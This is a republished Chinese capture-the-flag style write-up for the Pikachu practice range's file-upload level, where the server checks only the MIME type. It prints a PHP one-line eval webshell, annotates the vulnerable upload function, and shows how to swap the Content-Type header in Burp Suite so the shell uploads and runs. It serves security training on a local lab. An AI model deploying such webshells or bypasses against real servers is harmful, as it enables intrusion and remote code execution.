欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 明星 > pikachu靶场通关笔记34 文件上传02之服务端MIME绕过

pikachu靶场通关笔记34 文件上传02之服务端MIME绕过

2025/6/19 23:46:13 来源:https://blog.csdn.net/mooyuan/article/details/147711768  浏览:    关键词:pikachu靶场通关笔记34 文件上传02之服务端MIME绕过

目录

一、MIME功能

二、实验准备

三、源码分析

1、servercheck.php

2、upload_sick函数

3、渗透思路

四、渗透实战

1、浏览报文

2、bp设置拦截

3、点击上传

4、bp改包

5、获取上传脚本地址

6、访问脚本 


本系列为《pikachu靶场通关笔记》渗透实战,本文通过对文件上传关卡(unsafe upfileupload)之服务端MIME源码的代码审计找到产生缺陷的真实原因,讲解服务端MIME关卡客户端check的原理并进行渗透实践。

一、MIME功能

在文件上传功能里,MIME(Multipurpose Internet Mail Extensions)类型发挥着关键作用。MIME 类型是一种标准,用于表示文档、文件或字节流的性质和格式。它由两部分组成,以主类型和子类型的形式呈现,中间用斜杠分隔,例如 text/htmlimage/jpegapplication/pdf 等。主类型描述了文件的大致类别,子类型则进一步明确了具体的格式。常见MIME类型示例如下表所示。

文件类型MIME类型典型扩展名
文本文件text/plain.txt
HTML文件text/html.html
JPEG图片image/jpeg.jpg.jpeg
PNG图片image/png.png
GIF图片image/gif.gif
PDF文档application/pdf.pdf
JavaScriptapplication/javascript.js
JSON数据application/json.json
ZIP压缩文件application/zip.zip
PHP脚本application/x-httpd-php.php

二、实验准备

构造文件上传的脚本,内容为一句话马,脚本code内容如下所示。

<?php @eval($_POST[ljn_0627]); ?> 命名为ljn_post_0627.php 用于禁用js法文件上传。

<?php @eval($_POST[ljn2_0627]); ?> 命名为ljn_post2_0627.php用于修改页面法文件上传。

三、源码分析

1、servercheck.php

进入pikachu靶场文件上传02-MIME关卡,完整URL链接如下所示。

http://192.168.59.1/pikachu/vul/unsafeupload/servercheck.php

在pikachu靶场的源码中查看servercheck.php文件,分析可知通过upload_sick函数进行检查是否合法文件,如下所示。

2、upload_sick函数

 upload_sick()函数检查了MIME字段,具体如下所示。

upload_sick 的主要功能是处理文件上传操作,添加注释功能的源码如下所示。 

// 定义一个名为 upload_sick 的函数,用于处理文件上传操作
// 参数 $key 表示 $_FILES 数组中的键名,用于获取上传文件的信息
// 参数 $mime 是一个包含允许的 MIME 类型的数组
// 参数 $save_path 是上传文件保存的目标路径
function upload_sick($key, $mime, $save_path) {// 定义一个数组 $arr_errors,用于存储不同文件上传错误码对应的错误信息$arr_errors = array(1 => '上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值',2 => '上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',3 => '文件只有部分被上传',4 => '没有文件被上传',6 => '找不到临时文件夹',7 => '文件写入失败');// 检查 $_FILES 数组中是否存在指定键名的元素,如果不存在,说明用户没有选择上传文件if (!isset($_FILES[$key]['error'])) {// 设置返回数据数组,包含错误信息和上传结果标识$return_data['error'] = '请选择上传文件!';$return_data['return'] = false;// 返回包含错误信息和上传结果的数组return $return_data;}// 检查上传文件的错误码是否不为 0,如果不为 0 表示上传过程中出现了错误if ($_FILES[$key]['error'] != 0) {// 根据错误码从 $arr_errors 数组中获取对应的错误信息$return_data['error'] = $arr_errors[$_FILES[$key]['error']];$return_data['return'] = false;return $return_data;}// 验证上传文件的 MIME 类型是否在允许的 MIME 类型数组 $mime 中if (!in_array($_FILES[$key]['type'], $mime)) {$return_data['error'] = '上传的图片只能是 jpg,jpeg,png 格式的!';$return_data['return'] = false;return $return_data;}// 检查保存文件的目标路径是否存在,如果不存在则尝试创建该目录if (!file_exists($save_path)) {// 使用 mkdir 函数创建目录,权限设置为 0777,允许递归创建if (!mkdir($save_path, 0777, true)) {$return_data['error'] = '上传文件保存目录创建失败,请检查权限!';$return_data['return'] = false;return $return_data;}}// 确保保存路径以斜杠结尾,方便后续拼接文件名$save_path = rtrim($save_path, '/') . '/';// 尝试将上传的临时文件移动到指定的保存路径if (!move_uploaded_file($_FILES[$key]['tmp_name'], $save_path . $_FILES[$key]['name'])) {$return_data['error'] = '临时文件移动失败,请检查权限!';$return_data['return'] = false;return $return_data;}// 如果以上所有检查和操作都通过了,说明文件上传成功// 设置返回数据数组,包含上传文件的新路径和上传结果标识$return_data['new_path'] = $save_path . $_FILES[$key]['name'];$return_data['return'] = true;return $return_data;
}

upload函数对上传文件格式是否为脚本的判断主要是基于MIME字段,主要处理逻辑如下所示。

  • 检查用户是否选择了上传文件。
  • 检查上传文件过程中是否出现错误。
  • 验证上传文件的 MIME 类型是否在允许的范围内。
  • 检查保存文件的目标路径是否存在,如果不存在则尝试创建该目录。
  • 将上传的临时文件移动到指定的保存路径。
  • 根据处理结果返回包含错误信息或上传文件新路径的数组。

upload_sick()函数的不安全之处在于两点:

(1)仅检查了MIME类型,可以通过bp抓包修改绕过(使用工具或编程手段将该恶意文件的 MIME 类型修改为允许的图片类型,如 image/jpeg)。

(2)保存文件的时候没有重命名文件,这样即使网页不回显文件保存路径,也有很大概率可以被攻击者猜测到。

综上,分析出服务器检测是否为图片,是通过HTTP request报文中MIME类型在Content-Type字段体现。

3、渗透思路

将php脚本发送到bp改包,将content-type:application/octet-stream改为image/jpeg或者image/jpg或者为image/png,然后将报文上传到服务器绕过检测。

四、渗透实战

1、浏览报文

进入pikachu靶场的MIME关卡,选择ljn_post_0627.php报文但是不上传如下所示。

2、bp设置拦截

firefox开启bp代理,bp设置为拦截请求,inception on,如下所示。

3、点击上传

点击上传,bp抓包,需要修改content-type,如下图红框所示。

4、bp改包

burpsuite将content-type改为image/jpg,并点击发送或者inception off(关闭拦截请求),如下图所示。

5、获取上传脚本地址

如下图所示脚本上传成功,路径为uploads/ljn_post_0627.php,构造脚本完整URL地址。

当前网页路径为:http://192.168.59.1/pikachu/vul/unsafeupload/servercheck.php
当前网页的路径为:http://192.168.59.1/pikachu/vul/unsafeupload/ 
脚本上传路径为:uploads/ljn_post_0627.php
将这两个拼接到一起即可
http://192.168.59.1/pikachu/vul/unsafeupload/uploads/ljn_post_0627.php  

6、访问脚本 

访问上传成功后的脚本,如下所示成功获取到服务器的php信息,证明上传成功。

upload靶场一句话木马网址:http://192.168.59.1/upload-labs/upload/ljn_post_0627.php
post参数:ljn_0627=phpinfo();

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词